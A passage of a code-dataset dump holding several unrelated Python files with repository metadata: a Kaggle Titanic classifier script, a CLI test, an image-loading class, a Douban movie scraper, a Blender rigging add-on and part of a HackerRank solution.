print(f\"[2nd Order Poly]\\nTrain acc: {fitted_clf2.score(poly_train_X, train_y)}\")\r\n\r\ndef tree_clf(train_X, train_y, test_X):\r\n tree_clf = tree.DecisionTreeClassifier(random_state=1, criterion=\"entropy\", splitter=\"random\",\r\n max_depth=5, min_samples_split=3)\r\n fitted_tree_clf = tree_clf.fit(train_X, train_y)\r\n cross_val = model_selection.cross_val_score(fitted_tree_clf, train_X, train_y, cv=10)\r\n\r\n print(f\"[Tree Classifier]\\nTrain acc: {tree_clf.score(train_X, train_y)}\")\r\n print(f\"Cross validation: {cross_val}\\nMean: {cross_val.mean()}\")\r\n print(f\"Similarity to last submission: {tree_clf.score(test_X, check_y)}\")\r\n\r\n prediction = tree_clf.predict(test_X)\r\n return prediction\r\n\r\ndef gridsearch_tree(train_X, train_y):\r\n treeclf_para_grid = {\"criterion\": list((\"gini\", \"entropy\")), \"splitter\": list((\"best\", \"random\")),\r\n \"max_depth\": list((3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)),\r\n \"min_samples_split\": list((2, 3, 4, 5, 6, 7))}\r\n grid = model_selection.GridSearchCV(tree.DecisionTreeClassifier(random_state=1),\r\n param_grid=treeclf_para_grid, cv=10)\r\n grid.fit(train_X, train_y)\r\n print(f\"[Grid Search Decision Tree]\\n{grid.best_params_}\\nBest acc: {grid.best_score_}\")\r\n\r\ndef rand_forest(train_X, train_y, test_X):\r\n rf_clf = RandomForestClassifier(random_state=1, criterion=\"entropy\",\r\n max_depth=5, min_samples_split=3)\r\n fitted_rf_clf = rf_clf.fit(train_X, train_y)\r\n cross_val = model_selection.cross_val_score(fitted_rf_clf, train_X, train_y, cv=10)\r\n\r\n print(f\"[Random Forest Classifier]\\nTrain acc: {rf_clf.score(train_X, train_y)}\")\r\n print(f\"Cross validation: {cross_val}\\nMean: {cross_val.mean()}\")\r\n print(f\"Similarity to last submission: {rf_clf.score(test_X, check_y)}\")\r\n\r\n prediction = rf_clf.predict(test_X)\r\n return prediction\r\n\r\ndef gridsearch_rf(train_X, train_y):\r\n rfclf_para_grid = {\"criterion\": list((\"gini\", \"entropy\")),\r\n \"max_depth\": list((3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15)),\r\n \"min_samples_split\": list((2, 3, 4, 5, 6, 7))}\r\n grid = model_selection.GridSearchCV(RandomForestClassifier(random_state=1),\r\n param_grid=rfclf_para_grid, cv=10)\r\n grid.fit(train_X, train_y)\r\n print(f\"[Grid Search Random Forest]\\n{grid.best_params_}\\nBest acc: {grid.best_score_}\")\r\n\r\n# log_reg(train_X, poly_train_X, train_y, test_X, poly_test_X)\r\n# result = tree_clf(train_X, train_y, test_X)\r\n# gridsearch_tree(train_X, train_y)\r\nresult = rand_forest(train_X, train_y, test_X)\r\n# gridsearch_rf(train_X, train_y)\r\n#\r\n# with open(\"submission5.csv\", \"w\") as fp:\r\n# fp.write(\"PassengerId,Survived\\n\")\r\n# for i, guess in enumerate(result):\r\n# fp.write(f\"{892+i},{guess}\\n\")\r\n\r\n", "repo_name": "chantomkit/Kaggle-Titanic", "sub_path": "fitting.py", "file_name": "fitting.py", "file_ext": "py", "file_size_in_byte": 4644, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 6, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 7, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 30, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 36, "usage_type": "name"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 39, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 39, "usage_type": "name"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 46, "usage_type": "name"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 49, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 49, "usage_type": "name"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 62, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 62, "usage_type": "name"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 62, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 62, "usage_type": "name"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 68, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 71, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 71, "usage_type": "name"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 84, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 84, "usage_type": "name"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 84, "usage_type": "call"}]} {"seq_id": "26386752668", "text": "\"\"\"Test the env cli.\"\"\"\n\nfrom os import path\n\nfrom click.testing import CliRunner\n\nfrom blowhole.cli.env import df, env\n\nCURR_DIR = path.dirname(__file__)\nENV_VALID = path.join(CURR_DIR, \"files\", \"env.yaml\")\n\nrunner = CliRunner()\n\n\ndef test_env_endpoint() -> None:\n \"\"\"Test that the env CLI endpoint does something.\"\"\"\n result = runner.invoke(env)\n assert result.exit_code == 0\n\n\ndef test_env_df() -> None:\n \"\"\"Test that the Dockerfile endpoint returns the right dockerfile.\"\"\"\n result = runner.invoke(df, args=str(ENV_VALID))\n print(result.output)\n assert result.exit_code == 0\n assert result.output == \"FROM ubuntu\\n\" \\\n \"RUN apt update && apt install zsh\\n\" \\\n \"CMD zsh\\n\\n\"\n", "repo_name": "tacheo/blowhole", "sub_path": "tests/cli/test_env.py", "file_name": "test_env.py", "file_ext": "py", "file_size_in_byte": 716, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "name"}, {"api_name": "click.testing.CliRunner", "line_number": 12, "usage_type": "call"}, {"api_name": "blowhole.cli.env.env", "line_number": 17, "usage_type": "argument"}, {"api_name": "blowhole.cli.env.df", "line_number": 23, "usage_type": "argument"}]} {"seq_id": "13900205824", "text": "import os\nfrom PIL import ImageTk, Image\nimport imghdr\nfrom natsort import natsorted\n\n\nclass ImagesClass:\n def __init__(self, master, images_group_path: str, image_dims: int):\n self.master=master\n self.images_list = []\n self.images_locs_list = []\n\n self.image_group_path = images_group_path\n\n self.images_label_grid_kwargs = {\n \"row\": 0, \"column\": 1, \"columnspan\": 1\n }\n self.file_path = \"file_path\"\n self.image_label = None\n self.images_number_label = None\n\n self.total_number_images = 0\n self.current_image_number = 0\n\n self.current_image_path = \"\"\n\n self.current_image = None\n self.current_image_name = \"\"\n self.image_dim = image_dims\n\n def order_images(self):\n self.images_locs_list = natsorted(self.images_locs_list)\n\n def pull_image_files(self):\n self.images_locs_list = [\n os.path.join(self.image_group_path, img)\n for img in os.listdir(self.image_group_path)\n if imghdr.what(os.path.join(self.image_group_path, img))\n ]\n\n if len(self.images_locs_list) == 0:\n return False\n\n self.total_number_images = len(self.images_locs_list)\n self.order_images()\n\n def create_image_list(self):\n for image_loc in self.images_locs_list:\n try:\n image = ImageTk.PhotoImage(Image.open(image_loc).resize((self.image_dim, self.image_dim)))\n self.images_list.append(image)\n except OSError as err:\n if \"truncated\" in err:\n os.remove(image_loc)\n\n\n def get_starting_image_data(self):\n if len(self.images_locs_list) == 0:\n return False\n self.current_image_number = len(self.images_locs_list) - (len(self.images_locs_list) // 3)\n self.current_image_path = self.images_locs_list[self.current_image_number]\n self.current_image = self.images_list[self.current_image_number]\n self.current_image_name = os.path.split(self.current_image_path)[-1]\n return True\n\n def get_image_data(self):\n self.pull_image_files()\n self.create_image_list()\n\n if self.get_starting_image_data():\n return (self.current_image_name, self.current_image_path, self.current_image, self.current_image_number,\n self.images_list, self.images_locs_list, self.total_number_images)\n return False\n\n def get(self):\n return self\n\n", "repo_name": "ArisenPhoenix/ImageSifter", "sub_path": "Merkurial_ImageSifter/file_handlers.py", "file_name": "file_handlers.py", "file_ext": "py", "file_size_in_byte": 2504, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "natsort.natsorted", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 37, "usage_type": "call"}, {"api_name": "imghdr.what", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 50, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 50, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 50, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 50, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}]} {"seq_id": "9808194029", "text": "# from douban_client import DoubanClient\nimport time\nimport requests\nimport pprint\n\nfrom sqlalchemy import text\nfrom model import db, Movie\n\n# 根据电影名字获取相关的电影信息\n# 只需要调用get_movie_detail（）即可\n\nBASE_API_URL = 'https://api.douban.com'\nQUERY_MOVIE_URL = BASE_API_URL + '/v2/movie/search?'\nGET_MOVIE_DETAIL_URL = BASE_API_URL + '/v2/movie/subject/'\nGET_MOVIE_IN_THEATHER_URL = BASE_API_URL + '/v2/movie/in_theaters'\nMAX_DESCRIPTION_LENGTH = 256\n\n\ndef get_movie_id(movieName):\n \"\"\" 获取电影在豆瓣上的ID, 同时\n Args\n str : movieName\n Retruns\n -1 : 没有这个名字的电影\n ID : 该电影在豆瓣上的ID，用于其他函数\n \"\"\"\n query_params = {\"q\": movieName}\n tmpRes = requests.get(QUERY_MOVIE_URL, params=query_params)\n if tmpRes.status_code == 200:\n queryRes = tmpRes.json()\n # pprint.pprint(queryRes)\n if int(queryRes['total']) > 0 and queryRes['subjects'][0]['title'] == movieName:\n return str(queryRes['subjects'][0]['id'])\n return -1\n\n\ndef get_cast_name(cast_arr, director_arr):\n \"\"\" 处理主演演员格式\n Args\n array : cast_arr, director_arr\n Retruns\n string:\n \"\"\"\n namesArr = []\n for actor in cast_arr:\n namesArr.append(actor['name'])\n for director in director_arr:\n namesArr.insert(0, str(director[\"name\"] + \"（导演）\"))\n return \"|\".join(namesArr)\n\ndef handle_movie_record(tmpRes):\n \"\"\"\n 将豆瓣的返回的电影信息，提取出本地服务器需要的信息\n :param subject:\n :return: db_movie_record\n \"\"\"\n finRes = {}\n finRes.update({'movieType': '|'.join(tmpRes['genres'])})\n finRes.update({'movieName': tmpRes['title']})\n # poster_url\n finRes.update({'poster': tmpRes['images']['small']})\n # finRes.update({'duration': '|'.join(tmpRes['duration'])})\n finRes.update({'primaryActors': get_cast_name(tmpRes['casts'], tmpRes['directors'])})\n finRes.update({'rating': tmpRes['rating']['average']})\n finRes.update({'description': tmpRes['summary'][: MAX_DESCRIPTION_LENGTH]})\n # finRes.update({'description': tmpRes['summary']})\n return finRes\n\n\ndef get_movie_detail(movieName):\n \"\"\"根据电影名字返回相应的详细信息\n Args:\n 电影名字\n Returns:\n dict 类型：\n 如果没有该电影：空dict\n 电影存在：返回电影信息,\n example:\n {\n \"name\": \"超时空同居\",\n \"rating\": 5,\n \"duration\": 101, // 豆瓣上文档上有，但是返回的结果上没看到\n \"poster\": \"https://img1.doubanio.com/view/photo/s_ratio_poster/public/p2520331478.webp\",\n \"movieType\": \"喜剧|爱情|奇幻\",\n \"primaryActors\": \"苏伦(导演)/雷佳音/佟丽娅/张衣\",\n \"description\": \"来自2018年谷小焦（佟丽娅 饰）与1999年陆鸣（雷佳音 饰），两人时空重叠意外住在同一个。。。\n \"showtime\": \"2018-05-18\", // 跟时长一样\n }\n \"\"\"\n finRes = {}\n tarMovieId = get_movie_id(movieName)\n if tarMovieId != -1 :\n tmpRes = requests.get(GET_MOVIE_DETAIL_URL + str(tarMovieId)).json()\n if len(tmpRes) != 0 :\n finRes = handle_movie_record(tmpRes)\n # pprint.pprint(tmpRes)\n return finRes\n\ndef check_movie_conflict(movieName):\n \"\"\"\n 检查该电影是否已经在数据库中\n :param movieName: \n :return: True -> 已经存在, False -> 不存在\n \"\"\"\n pass\n\ndef init_movie_table():\n \"\"\"\n 从豆瓣网站查询部分电影信息，存储进本地数据库中\n :return: True -> 初始化成功\n \"\"\"\n # in_theaters_list = []\n tmpRes = requests.get(GET_MOVIE_IN_THEATHER_URL)\n if tmpRes.status_code == 200:\n time.sleep(1)\n queryRes = tmpRes.json()\n # pprint.pprint(queryRes)\n # 电影数目\n n = int(queryRes['total'])\n movies = queryRes['subjects']\n print(movies)\n for movie in movies:\n # in_theaters_list.append(queryRes['subjects']['title'])\n movieName = movie['title']\n movieInfo = get_movie_detail(movieName)\n movieRecord = Movie(**movieInfo)\n isExists = Movie.query.filter_by(movieName=movieName).first() != None\n if isExists:\n print(\"{0} Alread in database\".format(movieName))\n continue\n try:\n db.session.add(movieRecord)\n db.session.commit()\n print(movieRecord.movieName + \" \" + str(movieRecord.movieID))\n except:\n print(movieRecord.movieName + \" Error Occurs !! \" )\n return True\n print(\"fail to get in-theater movies\")\n return False\n\nif __name__ == \"__main__\":\n # test the moudule function\n init_movie_table()\n # fuzzy_search(\"阿飞\")\n # pprint.pprint(getMovieDetail(\"超时空同居\"))", "repo_name": "SYSU-BronzeTiki/BronzeTiki-Server", "sub_path": "douban_info_getter.py", "file_name": "douban_info_getter.py", "file_ext": "py", "file_size_in_byte": 5018, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 28, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 93, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 113, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 115, "usage_type": "call"}, {"api_name": "model.Movie", "line_number": 126, "usage_type": "call"}, {"api_name": "model.Movie.query.filter_by", "line_number": 127, "usage_type": "call"}, {"api_name": "model.Movie.query", "line_number": 127, "usage_type": "attribute"}, {"api_name": "model.Movie", "line_number": 127, "usage_type": "name"}, {"api_name": "model.db.session.add", "line_number": 132, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 132, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 132, "usage_type": "name"}, {"api_name": "model.db.session.commit", "line_number": 133, "usage_type": "call"}, {"api_name": "model.db.session", "line_number": 133, "usage_type": "attribute"}, {"api_name": "model.db", "line_number": 133, "usage_type": "name"}]} {"seq_id": "43449132154", "text": "\nfrom . import utils\nfrom bpy.props import *\nfrom bpy.types import (Panel,Menu,Operator,PropertyGroup,AddonPreferences)\nfrom pathlib import Path\nimport bpy\nimport json\nimport os\nimport random\n\ndef pose_file_path():\n path = \"~/daz_pos_files.json\"\n filepath = os.path.expanduser(path).replace(\"\\\\\", \"/\")\n return filepath.rstrip(\"/ \")\n\nclass DiffHelperPreferences(AddonPreferences):\n bl_idname = __name__\n\n def draw(self, context):\n layout = self.layout\n layout.label(text=\"Diffeomorphic Helper Preferences\")\n layout.prop(self, \"pose_files_path\")\n\nclass DiffHelperRandomPose(Operator):\n bl_idname = \"vsw.random_pose\"\n bl_label = \"Diff Helper\"\n bl_description = \"Diff Helper\"\n bl_options = { \"REGISTER\", \"UNDO\" }\n\n def execute(self, context):\n\n with open(pose_file_path()) as f:\n files = json.load(f)\n index = random.randint(0, len(files) - 1)\n print(files[index])\n\n bpy.ops.daz.import_pose(daz_pose_file=files[index])\n return{'FINISHED'}\nclass DiffHelperResetRigifyControls(Operator):\n bl_idname = \"vsw.reset_rigify_controls\"\n bl_label = \"Diff Helper\"\n bl_description = \"Diff Helper\"\n bl_options = { \"REGISTER\", \"UNDO\" }\n\n fingers: BoolProperty()\n\n def execute(self, context):\n rigid = context.active_object.data['rig_id']\n def fk2ik():\n getattr(bpy.ops.pose, \"rigify_limb_ik2fk_\" + rigid)(\n 'INVOKE_DEFAULT',\n prop_bone=prop_bone,\n fk_bones=fk_bones,\n ik_bones=ik_bones,\n ctrl_bones=ctrl_bones,\n extra_ctrls=extra_ctrls)\n pose_bones = context.active_object.pose.bones\n\n if not self.fingers:\n # footR\n prop_bone = 'thigh_parent.R'\n fk_bones = '[\"thigh_fk.R\", \"shin_fk.R\", \"foot_fk.R\"]'\n ik_bones = '[\"thigh_ik.R\", \"MCH-shin_ik.R\", \"MCH-thigh_ik_target.R\"]'\n ctrl_bones = '[\"thigh_ik.R\", \"thigh_ik_target.R\", \"foot_ik.R\"]'\n extra_ctrls = '[\"foot_heel_ik.R\", \"foot_spin_ik.R\"]'\n fk2ik()\n\n # footL\n prop_bone = 'thigh_parent.L'\n fk_bones = '[\"thigh_fk.L\", \"shin_fk.L\", \"foot_fk.L\"]'\n ik_bones = '[\"thigh_ik.L\", \"MCH-shin_ik.L\", \"MCH-thigh_ik_target.L\"]'\n ctrl_bones = '[\"thigh_ik.L\", \"thigh_ik_target.L\", \"foot_ik.L\"]'\n extra_ctrls = '[\"foot_heel_ik.L\", \"foot_spin_ik.L\"]'\n fk2ik()\n \n # handR\n prop_bone = 'upper_arm_parent.R'\n fk_bones = '[\"upper_arm_fk.R\", \"forearm_fk.R\", \"hand_fk.R\"]'\n ik_bones = '[\"upper_arm_ik.R\", \"MCH-forearm_ik.R\", \"MCH-upper_arm_ik_target.R\"]'\n ctrl_bones = '[\"upper_arm_ik.R\", \"upper_arm_ik_target.R\", \"hand_ik.R\"]'\n extra_ctrls = '[]'\n fk2ik()\n\n # handL\n prop_bone = 'upper_arm_parent.L'\n fk_bones = '[\"upper_arm_fk.L\", \"forearm_fk.L\", \"hand_fk.L\"]'\n ik_bones = '[\"upper_arm_ik.L\", \"MCH-forearm_ik.L\", \"MCH-upper_arm_ik_target.L\"]'\n ctrl_bones = '[\"upper_arm_ik.L\", \"upper_arm_ik_target.L\", \"hand_ik.L\"]'\n extra_ctrls = '[]'\n fk2ik()\n\n pose_bones['upper_arm_parent.L']['IK_FK'] = 0\n pose_bones['upper_arm_parent.R']['IK_FK'] = 0\n pose_bones['thigh_parent.L']['IK_FK'] = 0\n pose_bones['thigh_parent.R']['IK_FK'] = 0\n else:\n for lr in ('R', 'L'):\n for finger in ('thumb', 'f_index', 'f_middle', 'f_ring', 'f_pinky'):\n output_bones = '[\"' + finger + '.01_ik.' + lr + '\"]'\n input_bones = '[\"' +finger + '.01.' + lr + '.001\"]'\n ctrl_bones = '[\"' + finger + '.01_master.' + lr + '\", \"' + finger + '.01.' + lr + '\", \"' + finger + '.02.' + lr + '\", \"' + finger + '.03.' + lr + '\", \"' + finger + '.01.' + lr + '.001\"]'\n locks = (False, True, True)\n tooltip = 'IK to FK'\n print(ctrl_bones)\n\n getattr(bpy.ops.pose, \"rigify_generic_snap_\" + rigid)(\n 'INVOKE_DEFAULT',\n output_bones=output_bones,\n input_bones=input_bones,\n ctrl_bones=ctrl_bones,\n locks=locks,\n tooltip=tooltip)\n pose_bones[finger + '.01_ik.' + lr]['FK_IK'] = 1\n\n return{'FINISHED'}\n\nclass DiffHelperSetRandomPosePath(Operator):\n bl_idname = \"vsw.random_pose_path\"\n bl_label = \"Diff Helper\"\n bl_description = \"Diff Helper\"\n bl_options = { \"REGISTER\", \"UNDO\" }\n\n directory: StringProperty(subtype=\"DIR_PATH\")\n\n def invoke(self, context, event):\n print(\"invoked!\")\n context.window_manager.fileselect_add(self)\n\n return{'FINISHED'}\n\n def execute(self, context):\n pose_files = list(Path(self.directory).rglob(\"*.duf\"))\n pose_files = [ str(x) for x in pose_files ]\n with open(pose_file_path(), 'w+') as f:\n f.write(json.dumps(pose_files))\n return{'FINISHED'}\n\nclass DiffHelperSoloLayers(Operator):\n bl_idname = \"vsw.solo_pose_layers\"\n bl_label = \"Diff Helper\"\n bl_description = \"Diff Helper\"\n bl_options = { \"REGISTER\", \"UNDO\" }\n layer_indices: StringProperty()\n def execute(self, context):\n indices_str = self.layer_indices.split(',')\n indices = set([ int(s) for s in indices_str if s])\n view_layers = context.active_object.data.layers\n for i in range(0, 31):\n view_layers[i] = i in indices\n return{'FINISHED'}\n\nclass DiffHelperResetPose(Operator):\n bl_idname = \"vsw.reset_pose\"\n bl_label = \"Diff Helper\"\n bl_description = \"Diff Helper\"\n bl_options = { \"REGISTER\", \"UNDO\" }\n layer_indices: StringProperty()\n def execute(self, context):\n bones = context.active_object.pose.bones\n\n for bone in bones:\n layer = 0\n for i in range(0, 31):\n if context.active_object.data.bones[bone.name].layers[i]:\n layer = i\n break\n \n if layer < 31 - 4:\n bone.location = (0, 0, 0)\n bone.rotation_euler = (0, 0, 0)\n bone.scale = (1, 1, 1)\n\n bones['upper_arm_parent.L']['IK_FK'] = 0\n bones['upper_arm_parent.R']['IK_FK'] = 0\n bones['thigh_parent.L']['IK_FK'] = 0\n bones['thigh_parent.R']['IK_FK'] = 0\n for lr in ('R', 'L'):\n for finger in ('thumb', 'f_index', 'f_middle', 'f_ring', 'f_pinky'):\n bones[finger + '.01_ik.' + lr]['FK_IK'] = 0\n return{'FINISHED'}\n\nclass DiffHelperToggleShading(Operator):\n bl_idname = \"vsw.toggle_shading\"\n bl_label = \"Diff Helper\"\n bl_description = \"Diff Helper\"\n bl_options = { \"REGISTER\", \"UNDO\" }\n layer_indices: StringProperty()\n def execute(self, context):\n amat = context.active_object\n meshes = [ c for c in amat.children if c.type == 'MESH']\n for mesh in meshes:\n materials = mesh.data.materials\n for i in range(len(materials)):\n m = materials[i]\n if m.name.endswith('.Flat'):\n materials[i] = bpy.data.materials[m.name.replace('.Flat', '.Shaded')]\n if m.name.endswith('.Shaded'):\n materials[i] = bpy.data.materials[m.name.replace('.Shaded', '.Flat')]\n\n return{'FINISHED'}\n\nclass DiffHelperToggleModifierVisbility(Operator):\n bl_idname = \"vsw.toggle_modifier_visbility\"\n bl_label = \"Diff Helper\"\n bl_description = \"Diff Helper\"\n bl_options = { \"REGISTER\", \"UNDO\" }\n modifier_names: StringProperty()\n def execute(self, context):\n obj = context.active_object\n meshes = [ c for c in obj.children if c.type == 'MESH']\n modifiers = self.modifier_names.split(',')\n for mesh in meshes:\n for modifier in mesh.modifiers:\n if modifier.name in modifiers:\n modifier.show_viewport = not modifier.show_viewport\n return{'FINISHED'}\n\nclass DiffHelperPanel_PT_PANEL(Panel):\n bl_idname = \"DiffHelper_PT_SidePanel\"\n bl_label = \"Diff Helper\"\n bl_category = \"Item\"\n bl_space_type = \"VIEW_3D\"\n bl_region_type = \"UI\"\n\n @classmethod\n def poll(self, context):\n try:\n return not not context.active_object.data.get(\"rig_id\")\n except (AttributeError, KeyError, TypeError):\n return False\n\n pose_files_path: StringProperty(\n name=\"Pose Files Path\",\n subtype=\"DIR_PATH\"\n )\n\n def draw(self, context):\n layout = self.layout\n\n col = layout.column()\n\n col.label(text=\"Settings\")\n box = col.box()\n row = box.row()\n row.operator(\"vsw.random_pose_path\", icon = \"FILE_FOLDER\", text = \"Select Pose Directory\")\n\n col.label(text=\"Toggle View Layers\")\n box = col.box()\n row = box.row()\n props = row.operator(\"vsw.solo_pose_layers\", text=\"Hide All\")\n props.layer_indices = '0'\n row = box.row()\n props = row.operator(\"vsw.solo_pose_layers\", text=\"Show All\")\n props.layer_indices = '1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19'\n row = box.row()\n props = row.operator(\"vsw.solo_pose_layers\", text=\"Primay with Fingers\")\n props.layer_indices = '3,4,7,10,13,16,5,6,19'\n row = box.row()\n props = row.operator(\"vsw.solo_pose_layers\", text=\"Primary Bones\")\n props.layer_indices = '3,4,7,10,13,16'\n row = box.row()\n props = row.operator(\"vsw.solo_pose_layers\", text=\"Tweek Bones\")\n props.layer_indices = '4,5,9,12,15,18'\n row = box.row()\n props = row.operator(\"vsw.solo_pose_layers\", text=\"Fingers\")\n props.layer_indices = '5'\n row = box.row()\n props = row.operator(\"vsw.solo_pose_layers\", text=\"Fingers Details\")\n props.layer_indices = '6,19'\n\n col.label(text=\"Toggle Mesh Visibilities\")\n box = col.box()\n row = box.row()\n props = row.operator(\"vsw.toggle_modifier_visbility\", text=\"Head\")\n props.modifier_names = 'vis_mask_head'\n row = box.row()\n props = row.operator(\"vsw.toggle_modifier_visbility\", text=\"Arms\")\n props.modifier_names = 'vis_mask_arms'\n row = box.row()\n props = row.operator(\"vsw.toggle_modifier_visbility\", text=\"Legs\")\n props.modifier_names = 'vis_mask_legs'\n row = box.row()\n props = row.operator(\"vsw.toggle_modifier_visbility\", text=\"Hands and Feet\")\n props.modifier_names = 'vis_mask_hands'\n row = box.row()\n\n col.label(text=\"Shading\")\n box = col.box()\n row = box.row()\n row.operator(\"vsw.toggle_shading\", icon = \"SHADING_RENDERED\", text = \"Toggle Shading\")\n\n col.label(text=\"Load Pose\")\n box = col.box()\n row = box.row()\n props = row.operator(\"vsw.reset_rigify_controls\", icon = \"SNAP_ON\", text = \"Arms IK to FK\")\n props.fingers = False\n row = box.row()\n props = row.operator(\"vsw.reset_rigify_controls\", icon = \"SNAP_ON\", text = \"Fingers IK to FK\")\n props.fingers = True\n row = box.row()\n row.operator(\"vsw.random_pose\", icon = \"ARMATURE_DATA\", text = \"Load Random Pose\")\n row = box.row()\n row.operator(\"vsw.reset_pose\", icon = \"FILE_REFRESH\", text = \"Reset Pose\")\n\n\ndef register():\n utils.register_quietly(DiffHelperPreferences)\n utils.register_quietly(DiffHelperRandomPose)\n utils.register_quietly(DiffHelperSetRandomPosePath)\n utils.register_quietly(DiffHelperResetRigifyControls)\n utils.register_quietly(DiffHelperPanel_PT_PANEL)\n utils.register_quietly(DiffHelperSoloLayers)\n utils.register_quietly(DiffHelperResetPose)\n utils.register_quietly(DiffHelperToggleShading)\n utils.register_quietly(DiffHelperToggleModifierVisbility)\n\ndef unregister():\n utils.unregister_quietly(DiffHelperPreferences)\n utils.unregister_quietly(DiffHelperRandomPose)\n utils.unregister_quietly(DiffHelperSetRandomPosePath)\n utils.unregister_quietly(DiffHelperResetRigifyControls)\n utils.unregister_quietly(DiffHelperPanel_PT_PANEL)\n utils.unregister_quietly(DiffHelperSoloLayers)\n utils.unregister_quietly(DiffHelperResetPose)\n utils.unregister_quietly(DiffHelperToggleShading)\n utils.unregister_quietly(DiffHelperToggleModifierVisbility)\n\n", "repo_name": "v3i1r4in/vsw-blender-tools", "sub_path": "diffeomorphic_helper.py", "file_name": "diffeomorphic_helper.py", "file_ext": "py", "file_size_in_byte": 12530, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.expanduser", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "bpy.types.AddonPreferences", "line_number": 16, "usage_type": "name"}, {"api_name": "bpy.types.Operator", "line_number": 24, "usage_type": "name"}, {"api_name": "json.load", "line_number": 33, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 34, "usage_type": "call"}, {"api_name": "bpy.ops.daz.import_pose", "line_number": 37, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 37, "usage_type": "attribute"}, {"api_name": "bpy.types.Operator", "line_number": 39, "usage_type": "name"}, {"api_name": "bpy.ops", "line_number": 50, "usage_type": "attribute"}, {"api_name": "bpy.ops", "line_number": 106, "usage_type": "attribute"}, {"api_name": "bpy.types.Operator", "line_number": 117, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 132, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 135, "usage_type": "call"}, {"api_name": "bpy.types.Operator", "line_number": 138, "usage_type": "name"}, {"api_name": "bpy.types.Operator", "line_number": 152, "usage_type": "name"}, {"api_name": "bpy.types.Operator", "line_number": 182, "usage_type": "name"}, {"api_name": "bpy.data", "line_number": 196, "usage_type": "attribute"}, {"api_name": "bpy.data", "line_number": 198, "usage_type": "attribute"}, {"api_name": "bpy.types.Operator", "line_number": 202, "usage_type": "name"}, {"api_name": "bpy.types.Panel", "line_number": 218, "usage_type": "name"}]} {"seq_id": "3652761181", "text": "#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\nfrom itertools import combinations\n\n# Complete the alternate function below.\ndef alternate(s):\n\n # 1. get the combinations, s=#unique chars - 2\n # 2. iterrate each combinations\n # 3. deleting characters from string of each iterrate item\n # 4. check the resultant length == 1\n # 5. if 4 is met, count the length of the new string\n # 6. register the longest length so far\n # 7. return the longest length\n\n longest = 0\n if len(s) > 1 and len(set(s))>1: # if s is like 'a' or 'aaaa', skip below process\n n = len(set(s))-2 # the letters to be removed\n\n for item in combinations(set(s), n):\n reduced_s = (s+'.')[:-1] #create an independent copy\n\n for letter in item:\n reduced_s = reduced_s.replace(letter, '')\n\n if (len(set(reduced_s[::2]))==1) and (len(set(reduced_s[1::2]))==1):\n longest = max(longest, len(reduced_s))\n \n return longest\n\n\nif __name__ == '__main__':\n fptr = 